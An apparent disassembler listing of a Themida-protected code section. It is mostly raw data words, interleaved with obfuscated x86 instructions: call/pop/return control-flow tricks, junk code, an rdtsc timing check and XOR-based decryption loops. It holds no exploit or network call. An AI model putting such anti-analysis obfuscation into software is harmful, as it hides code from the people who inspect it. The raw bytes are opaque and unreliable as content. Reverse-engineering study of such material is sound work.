dd 998589B0h, 5B07E418h, 8589006Ah, 7E43305h, 0E4195FFh dd 0CFB907E4h, 6A000008h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 5F38C357h, 0F1BD8936h dd 8307E42Eh, 9589FCE1h, 7E404F1h, 0EB8166FCh, 0C02B3DC1h dd 29F78166h, 0FD22BE5h, 287h, 0ADFA8B00h, 0E8D1C233h dd 0E983D003h, 0FF47504h, 9D89DBBFh, 7E432F5h, 880Dh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 8766D12h, 8B96A46Dh, 0E41B7195h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0CDB52942h dd 8B07E425h, 0E42DA18Dh, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 1673609Ah dd 7B14B8E3h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0C3805818h, 0B7FA8A26h, 11BD83F3h, 7E406h, 70840Fh dd 13E80000h, 5F000000h, 2BAB618Ch, 0A40052D7h, 47D786BBh dd 6FD9A36h, 11E8D103h, 0DD000000h, 44656D9Bh, 5403DB23h dd 42A3677Fh, 0BA2A78DAh, 5B5F6160h, 0B8h, 6E800h, 8BA20000h dd 5F45C5C1h, 1FD9D0Bh, 8D5B07E4h, 0E44FE78Dh, 138F0F07h dd 0E8000000h, 9, 67D05BC9h, 4015666Ah, 0B8BF66E9h, 0E1FF5B0Eh dd 4DC8DB81h, 0BD833036h, 7E422B9h, 29840F00h, 8B000005h dd 0B9BD83FBh, 107E422h, 535840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 86BCA4C3h dd 0EBE2A092h, 0F0B7D1Bh, 886h, 9D895000h, 7E41CF5h, 0CDBD8B5Fh dd 8307E419h, 0E422B9BDh, 860F0307h, 4B9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DAC35040h, 0E35BB2FEh dd 0EC588CBFh, 95BD8B1Ah, 6007E41Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 0B9C35646h, 1A7B6F82h, 66003DD1h dd 0B7DF781h, 0E8D98C66h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B56C2CCh dd 0E40EB99Dh, 0E95F5F07h, 12h, 0A0AD3D0Ch, 1C437CB7h dd 5DCC62B0h, 991CBA5Ah, 0E1800521h, 12E904h, 0D4B90000h dd 93D0E77Fh, 0C8A130B3h, 19973798h, 11D2CE8h, 840FC90Ah dd 11Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 0CBC35141h, 0FBACA562h, 5DCDD457h, 13ED8589h, 858B07E4h dd 7E40651h, 1B519D89h, 853307E4h, 7E42029h, 890F50FCh dd 4, 5F5F5256h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0C79FC352h, 6AB922FCh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0B589BF0Bh, 7E40895h, 0B938EC68h, 81D88B03h dd 3B132434h, 0BD8903A6h, 7E4272Dh, 2D9995FFh, 816607E4h dd 89ED8DEFh, 0E7F8A585h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0C1F36F2h dd 0BE2A9497h, 0DE8A8EABh, 2A8E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0E0107860h dd 0D20DAD18h, 27699D03h, 10E907E4h, 0B4000000h, 0DBC189B2h dd 0E2D93419h, 9414536Ah, 8B70B971h, 0E7F89D85h, 81BD8907h dd 0C707E421h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 4EA3132Eh, 8D3152D5h dd 7E40A85h, 0F8A1B58Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1A0424h, 55450000h, 6E2F1EC3h, 6153435h dd 0EFDBD0Bh, 94BB07E4h, 8B168884h, 0E4009985h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 89A67370h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0F3CBC1Ah, 0FE8B66A8h, 651858Bh dd 8D0F07E4h, 6, 6618D89h, 468907E4h, 51006A04h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 45466EAEh, 8B96D652h, 666050F9h, 0BBB5FFBFh, 6199A86h dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 606113C3h, 28E0Fh, 0FE8B0000h, 0F89DB5FFh dd 6EBB07E7h, 0E8524930h, 4, 1F03FFh, 52505250h, 13E8h dd 7D2C4800h, 0F68E8DA6h, 0A6C3FFB9h, 0F920F1FBh, 73CB3D0Ah dd 60310F5Bh, 0F585A61h, 14E931h, 0E8520000h, 4FF08E1Fh dd 6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 585A37D3h, 8A0F6050h dd 0 ; --------------------------------------------------------------------------- jmp loc_5CD7A1 ; --------------------------------------------------------------------------- db 0D0h, 0DFh, 6Ch dd 1B0731B2h ; --------------------------------------------------------------------------- cdq loc_5CD7A1: ; CODE XREF: Themida_:005CD794j popa mov eax, [esp+4] mov ebx, 463B3C74h mov eax, [eax] pusha pusha jnz $+6 push eax push edx rdtsc pop edx pop eax popa call near ptr loc_5CD7C6+2 mov esp, 639D6F14h loc_5CD7C6: ; CODE XREF: Themida_:005CD7BCp fild dword ptr [ebx-18h] add eax, 3B000000h fnsave byte ptr [eax+5F5E565Dh] popa mov [esp+4], eax push edi pop edi pop eax jns loc_5CD7E8 add edi, 5CE83AADh loc_5CD7E8: ; CODE XREF: Themida_:005CD7DCj lea eax, [ebp+7E7F8A5h] push 0 push ecx call sub_5CD7F9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD7F9 proc near ; CODE XREF: Themida_:005CD7F1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5CD7F9 endp ; --------------------------------------------------------------------------- db 7, 80h, 52h dd 26299531h, 0B70F07E4h, 565390DBh, 5FFE8B66h, 5250505Fh dd 0EC8BC5BFh, 51310F41h, 0BE9h, 0E4703F00h, 0A2D8C542h dd 0CA611DCCh, 90585A5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 16C35343h, 9995FF75h, 6A07E42Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 98E2C355h, 0BF0FF571h, 6E961FEh, 0E8000000h, 0C32629B4h dd 0B985C7FFh, 307E422h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2C7C351h dd 6A737492h, 28C6CA1Ah, 6E19D89h, 0F6007E4h, 285h, 615F5300h dd 0F8A5BD83h, 0F0007E7h, 3084h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0D7ED8257h dd 0F6FEF381h, 21E928C2h, 8B000000h, 0E40D31BDh, 0C305007h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 22C35242h, 0E381665Ch dd 858940A6h, 7E40975h, 22B9BD83h, 0F0307E4h, 3C985h, 0D9BD8B00h dd 8307E41Bh, 0E7F8A5BDh, 840F0007h, 3B6h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 11C35040h, 0FF3B5901h dd 0E7F8A5B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0A62CE19h, 7775E848h dd 9D8B9353h, 7E4321Dh, 0F1C38166h, 4D95FF29h, 8B07E404h dd 0E7F899B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8A647844h, 46CB81FCh dd 0C72FC254h, 1000106h, 0B1BD8B00h, 8907E41Fh, 0E41D2585h dd 34895007h, 0A6E38124h, 0FF0191DDh, 0E7F8A5B5h, 9D9D8907h dd 0FF07E421h, 0E42A0995h, 0C3816607h, 0B58BD377h, 7E7F899h dd 8BD9BF0Fh, 0E4316585h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0E780B6E6h dd 0DA8B662Bh, 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 1071CDC3h, 6DCC12E3h dd 958BB880h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0EBC35646h, 1E36B3F9h, 2A359C9Dh, 0F0BE6050h dd 66707655h, 6318C781h, 0C2835F61h, 0FAB70F04h, 0F205089h dd 382h, 0FBBF0F00h, 0CD4858Dh, 5E807E8h, 0D000000h, 0F3771587h dd 0F39BD8Bh, 895F07E4h, 0B886h, 0A5BD2300h, 6A07E42Fh dd 1DBD8B00h, 0F07E433h, 0B5FFD8B7h, 7E7F8A5h, 13D18509h dd 0BB6607E4h, 95FF6DA9h, 7E431ADh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 1C35343h, 43D38833h, 0AC528BE5h dd 0E19D8B7Eh, 9607E42Eh, 6830F50h, 0F000000h, 8Eh, 6A9600h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 892450C3h, 0E42C3985h, 0A5B5FF07h, 5307E7F8h, 12CD8589h dd 315F07E4h, 0E424A58Dh, 1195FF07h, 0BF07E41Bh, 42FBC69Ch dd 835BEB80h, 0E40DF9BDh, 840F0007h, 63h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0C35343h, 3594E5Fh dd 0E42799BDh, 66605007h, 0B7BBEFBBh, 34896157h, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 892708E0h, 0E41A79BDh, 59EF8007h, 6E9h, 0EB87F300h dd 0FF8CC48Eh, 0E7F8A5B5h, 0F98D2907h, 0FF07E415h, 0E4027D95h dd 0CE907h, 0AB860000h, 88696636h, 0A436C9B9h, 0B5FF5DE1h dd 7E7F8A5h, 0DDDBD8Bh, 95FF07E4h, 7E40971h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 8B5C9112h dd 0E40E4D9Dh, 21BD8307h, 207E40Ah, 93840Fh, 0DA8B0000h dd 14E9h, 0DA1E3D00h, 0A27FA9ECh, 3862A4F9h, 3EAA478Bh dd 4AAB5AD4h, 0B5858BDFh, 6A07E41Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4A92C350h dd 0C350A0B0h, 0E8D74DC1h, 0Bh, 372F1D9Ah, 0B92A2124h dd 662D05BBh, 0FD14DF81h, 88D0F5Fh, 0F000000h, 284h, 0C69EB300h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0EA5501C3h, 890EE8DBh, 0E427698Dh, 7185C707h dd 7E426h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0AB81C356h, 9FE99B0Bh, 6AFFFFF3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0DD9EC356h, 89F94A75h, 0E42EB1B5h, 0FC18B07h dd 858DFAB7h, 7E40D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 26C35343h, 0C455E309h, 90C59C4Dh, 5750DE8Ah dd 905FF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0EBC35343h, 9D8BFE31h, 7E425EDh, 8589006Ah, 7E415F1h dd 1481BD8Bh, 6A07E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0B6C35343h, 0F5AF94DAh, 858DF275h, 7E8BABBh dd 0C083F88Ah, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0DC1F0601h, 0FD9D2B46h dd 8907E417h, 0E4050DB5h, 0BB665007h, 489E09Ah, 0FE924h dd 628C0000h, 30227D90h, 2159806h, 0C4D1E365h, 0F006A89h dd 580h, 0CF816600h, 6A329Eh, 224DBD29h, 95FF07E4h, 7E42471h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B9C35646h dd 14B63847h, 0E3717E69h, 68D0Fh, 8D890000h, 7E421C9h dd 0D64B8D8Dh, 0F5607E7h, 0FF5FF8BFh, 0FDBD2BD1h, 6607E423h dd 9AEFDB81h, 2015BD83h, 0F0107E4h, 7185h, 1DBD8900h, 6A07E424h dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0BE9B8h, 697A0000h, 22BF7A14h, 9D8E62EAh dd 0EBB3504Ch, 0F5240489h, 0F21BD8Bh, 95FF07E4h, 7E431ADh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C9C35040h dd 0A51FA5A7h, 39F8BD87h, 2C219D89h, 54E907E4h, 0E800000Eh dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E8BAC5h push 0 push ebx call sub_5CDF62 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDF62 proc near ; CODE XREF: Themida_:005CDF5Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CDF62 endp ; --------------------------------------------------------------------------- xchg bl, [ebx] push 0 push ebp call sub_5CDF7F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDF7F proc near ; CODE XREF: Themida_:005CDF77p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5CDF7F endp ; --------------------------------------------------------------------------- db 97h dd 9D8BEF48h, 7E41AF1h, 0C6E1858Dh, 6A07E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0F3AFA2C3h dd 0C4DB0685h, 0EE8FBh, 0A9BA0000h, 0E294AF4Dh, 0F62DF557h dd 0E061939Eh, 0FD6CF781h, 0BF5F2429h, 9B0A799h, 52525050h dd 0F5BDA8Bh, 89585A31h, 0B70F2404h, 35FF64DAh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5CE003 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE003 proc near ; CODE XREF: Themida_:005CDFFBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_5CE003 endp ; --------------------------------------------------------------------------- db 6Eh dd 0DB37EC48h, 1E999D8Bh, 896407E4h, 25h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0F9C29E97h, 4C9B589h, 85FF07E4h, 7E420B9h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 35C35545h, 3DBD095Dh dd 6A07E41Bh, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 765127DCh, 6F47F624h, 8783BBF6h dd 0B70F6741h, 0FDB5FFF9h, 8907E422h, 0E40A359Dh, 9D9D8B07h dd 0FF07E42Fh, 0E4304D95h, 131E907h, 870F0000h, 3, 0B0FAB70Fh dd 4D850100h, 0E607E42Ch, 9DBD2970h, 0E407E424h, 0F8BF0F71h dd 830F613Ch, 10Bh, 0FF88B66h, 0B60FFBB7h, 6820FC8h, 9000000h dd 0E404398Dh, 6BA07h, 0BD8B0000h, 7E40ADDh, 9D8BC18Bh dd 7E40DDDh, 8904E8C1h, 0E400959Dh, 0E2F76607h, 0C82BFD8Ah dd 2641B589h, 0D18B07E4h, 0E9DFB70Fh, 6, 799D8Bh, 858B07E4h dd 7E4240Dh, 17810Fh, 0EE80000h, 0C3000000h, 0ED427C28h dd 35B7EF97h, 0F05B2953h, 0BFD78032h, 199D315Bh, 8307E40Fh dd 0CE807C0h, 34000000h, 6B49077Fh, 4A1B426Ah, 0E905CBAFh dd 12h, 6C4D94F0h, 6102EF8h, 1EBF4678h, 268BC9A4h, 835F5D0Dh dd 13E900C0h, 0D2000000h, 0F860199Fh, 63621142h, 66E304F6h dd 201A48BCh, 0D03B1E48h, 11830Fh, 0CF810000h, 747A58ABh dd 3AE9h, 0C5BD8B00h, 8B07E424h, 0E41AC58Dh, 799D8B07h dd 8307E431h, 840F01E1h, 1Fh, 0C5A583F9h, 0FE07E41Ah, 26499D89h dd 958907E4h, 7E4240Dh, 226BCF81h, 0E93075h, 8D000000h dd 0E84199B5h, 0DE8B6607h, 95FF006Ah, 7E40E41h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 3AC35646h, 0AAB9B848h dd 8B000008h, 0E415959Dh, 83D98B07h, 13E9FCE1h, 0E8000000h dd 0B676A3FBh, 26AD938Ah, 9EEE38CFh, 0D7694F5Bh, 6AFCCC70h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 5E24C350h, 8B85661Ah, 0E41F8DBDh, 0B807h dd 0B70F0000h, 0BAFBh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0A9896AC3h, 8D893E32h dd 7E42469h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 6ACBB7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 0F05CDC3h, 0F9B70F50h, 880D5Bh, 0BB660000h, 958B076Dh dd 7E41B71h, 0BA24F381h, 8D8B4E60h, 7E42DA1h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C5C35747h, 0FDB59FDEh dd 6800Fh, 9D2B0000h, 7E429F1h, 0AE5CDF81h, 8B504E71h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BDC35747h, 6A4B11h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0C2A27EC3h, 0D17EC9F1h, 0E781EB59h, 165E6EBBh, 1BEDBD03h dd 0BD8307E4h, 7E40611h, 76840F00h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 6756C351h, 2F85F280h, 0D59D8BAFh, 0B807E40Ah, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5CE3C3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE3C3 proc near ; CODE XREF: Themida_:005CE3BBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5CE3C3 endp ; --------------------------------------------------------------------------- db 8 ; --------------------------------------------------------------------------- xchg eax, edi pusha xchg eax, esi adc [ecx-1BDB2A6Bh], cl pop es lea ecx, [ebp+7E44FE7h] mov edi, [ebp+7E402ADh] jmp ecx ; --------------------------------------------------------------------------- jmp loc_5CE401 ; --------------------------------------------------------------------------- db 15h, 0B3h, 92h dd 0B8DFBC2Bh, 589F8B50h, 0A0B7F46Dh ; --------------------------------------------------------------------------- xchg eax, ecx loc_5CE401: ; CODE XREF: Themida_:005CE3ECj cmp dword ptr [ebp+7E422B9h], 0 jz loc_5CE869 add [ebp+7E4126Dh], edi cmp dword ptr [ebp+7E422B9h], 1 jz loc_5CE884 push 0 push ebx call sub_5CE42C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE42C proc near ; CODE XREF: Themida_:005CE424p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5CE42C endp ; --------------------------------------------------------------------------- enter 34C0h, 0B6h sub [ecx], bl sub edi, [ebp-62F4534Ch] sbb eax, 6607E406h mov edi, esi cmp dword ptr [ebp+7E422B9h], 3 jbe loc_5CE84E call sub_5CE46A dec ebx pop ebx cli mov edi, [ecx-1Eh] retf 0CBBEh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5CE46A proc near ; CODE XREF: Themida_:005CE45Cp jmp sub_5CE478 sub_5CE46A endp ; --------------------------------------------------------------------------- db 67h dd 4729E77Eh, 93AFC2A8h ; =============== S U B R O U T I N E ======================================= sub_5CE478 proc near ; CODE XREF: sub_5CE46Aj ; FUNCTION CHUNK AT 005CE59D SIZE 00000031 BYTES ; FUNCTION CHUNK AT 005CE5E1 SIZE 00000013 BYTES pop edi pusha mov ebx, [ebp+7E415F9h] mov cx, ds mov bh, 1 and cl, 4 ja loc_5CE494 mov [ebp+7E42B55h], ebx loc_5CE494: ; CODE XREF: sub_5CE478+10j mov [ebp+7E42EB5h], ebx or cl, cl jz loc_5CE59D mov di, ax mov eax, [ebp+7E40651h] push 0 push ecx call sub_5CE4B6 and [ecx-3Dh], bl sub_5CE478 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CE4B6 proc near ; CODE XREF: sub_5CE478+36p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5CE4B6 endp ; --------------------------------------------------------------------------- les ecx, [ebx-1BF68263h] pop es xor eax, [ebp+7E42029h] jg loc_5CE4DF mov edi, [ebp+7E42B3Dh] loc_5CE4DF: ; CODE XREF: Themida_:005CE4D3j nop mov bx, 2434h push eax jz loc_5CE4F5 pusha mov si, di mov ecx, 2E510D6Eh popa loc_5CE4F5: ; CODE XREF: Themida_:005CE4E5j nop mov ebx, 60B5AF27h push 0 push 0 push edx call sub_5CE508 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE508 proc near ; CODE XREF: Themida_:005CE500p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5CE508 endp ; --------------------------------------------------------------------------- dd 754D3FE9h, 8596DF3Ah, 20CB8166h, 6C296837h, 48B7DB29h dd 0D6240481h, 6A24F597h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0C1E9C352h, 317B9C3Bh dd 8BDFBF0Fh, 0E408CD9Dh, 9995FF07h, 0F907E42Dh, 0F8A58589h dd 0B58907E7h, 7E42629h, 24EE9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 8C2EDC87h dd 89E8BC06h, 0E41CA185h ; --------------------------------------------------------------------------- pop es ; START OF FUNCTION CHUNK FOR sub_5CE478 loc_5CE59D: ; CODE XREF: sub_5CE478+24j mov eax, [ebp+7E7F89Dh] mov ebx, [ebp+7E42449h] mov dword ptr [eax], 18h js loc_5CE5C3 pusha jbe $+6 jle $+6 popa loc_5CE5C3: ; CODE XREF: sub_5CE478+137j mov esi, [ebp+7E7F8A1h] jmp loc_5CE5E1 ; END OF FUNCTION CHUNK FOR sub_5CE478 ; --------------------------------------------------------------------------- dw 0CE07h ; --------------------------------------------------------------------------- inc eax sub bl, dh sub al, 7Eh pop esi dec esp das or al, 7 dec esp xchg ah, [edx-5C361306h] ; START OF FUNCTION CHUNK FOR sub_5CE478 loc_5CE5E1: ; CODE XREF: sub_5CE478+151j mov ebx, edi mov eax, [ebp+7E40099h] push 0 push edi call sub_5CE5F4 and [edi-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5CE478 ; =============== S U B R O U T I N E ======================================= sub_5CE5F4 proc near ; CODE XREF: sub_5CE478+174p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5CE5F4 endp ; --------------------------------------------------------------------------- dd 9D8B04CEh, 7E40AF5h, 2409BD8Bh, 68907E4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0E1C35646h, 9D8BE9A5h dd 7E42525h, 651858Bh, 852907E4h, 7E42299h, 1CA98D89h dd 468907E4h, 0DD8D8904h, 5007E426h, 10E8h, 1AC5F400h dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0E9525078h, 9, 0B1F676E3h dd 0CD22884Ch, 8B310FEBh, 5B585AFEh, 6A243489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 9B7C357h, 2D9A06C2h, 0B2993FD5h, 0FFFE8B66h, 0E7F89DB5h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 40BC1E47h, 1BC99D0Bh, 8B6607E4h, 8E7668DFh dd 0F601B58h, 289h, 0E9616000h, 0Dh, 80864A00h, 0D7AAE69Bh dd 7FA85A3Bh, 3481616Bh, 478D8924h, 6890F1Bh, 89000000h dd 0E41D6185h, 307ABF07h, 858D0A00h, 7E7F8A5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 7BC35545h, 89B4DF68h dd 0E41BB59Dh, 50509007h, 0AE852h, 78E80000h, 120F4648h dd 30E94C40h, 7CEEBF66h, 50310F5Bh, 0CE852h, 8A0E0000h dd 0CCF348DBh, 0FDE3F1FCh, 0F5BFE55h, 5A585A31h, 6A9058h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 889E5DC3h, 2D9995FFh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0BD8BBCC3h, 7E40139h dd 0C1CF8057h, 81BD895Fh, 6107E423h, 1435BD89h, 85C707E4h dd 7E422B9h, 3, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 59C35242h, 8E303A3Ch, 1B8C1903h, 0AE9h, 0DCE5FA00h dd 17F36104h, 838DAA94h, 0E7F8A5BDh, 840F0007h, 3Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E8C35646h, 2634B0FEh dd 31FD36A0h, 0E40B8D95h, 27E907h, 9D8B0000h, 7E4074Dh dd 0D49FDF81h db 16h, 23h ; --------------------------------------------------------------------------- loc_5CE84E: ; CODE XREF: Themida_:005CE456j ; Themida_:005CE865j push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5CE84E jmp short loc_5CE89F ; --------------------------------------------------------------------------- loc_5CE869: ; CODE XREF: Themida_:005CE408j ; Themida_:005CE880j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CE869 jmp short loc_5CE89F ; --------------------------------------------------------------------------- loc_5CE884: ; CODE XREF: Themida_:005CE41Bj ; Themida_:005CE89Bj push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CE884 jmp short $+2 loc_5CE89F: ; CODE XREF: Themida_:005CE867j ; Themida_:005CE882j mov eax, eax push 0 push ebp call sub_5CE8AC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE8AC proc near ; CODE XREF: Themida_:005CE8A4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5CE8AC endp ; --------------------------------------------------------------------------- dd 891FA1D1h, 0E42FF5B5h, 59BD0307h, 8307E42Ah, 0E422B9BDh dd 850F0307h, 487h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 59C35646h, 0E6A1A6h, 0AA80E781h, 0BD8B7028h dd 7E40DE5h, 0F8A5BD83h, 0F0007E7h, 44E84h, 12E900h, 82370000h dd 0F03D010Dh, 6BD4B504h, 1C6792D7h, 0E3F30DB4h, 6ED5D3BFh dd 0A5B5FF21h, 0FF07E7F8h, 0E4044D95h, 51006A07h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BD8BFFA1h, 7E4355Dh, 0F899B58Bh, 9D8B07E7h, 7E41F49h dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 2E3588C3h, 0A377C54Bh, 66CDFB92h dd 6650FB8Bh, 897CD2BBh, 6A2434h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0E3A099C3h, 0A5B5FF62h dd 8A07E7F8h, 995FFFEh, 6A07E42Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0E98FC351h dd 8B867521h, 99B58BFBh, 6A07E7F8h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 9CA3C355h dd 0EDAF7C43h, 0F57B6E2h, 688h, 0F9BD8B00h, 5B07E41Eh dd 3165858Bh, 6A07E4h, 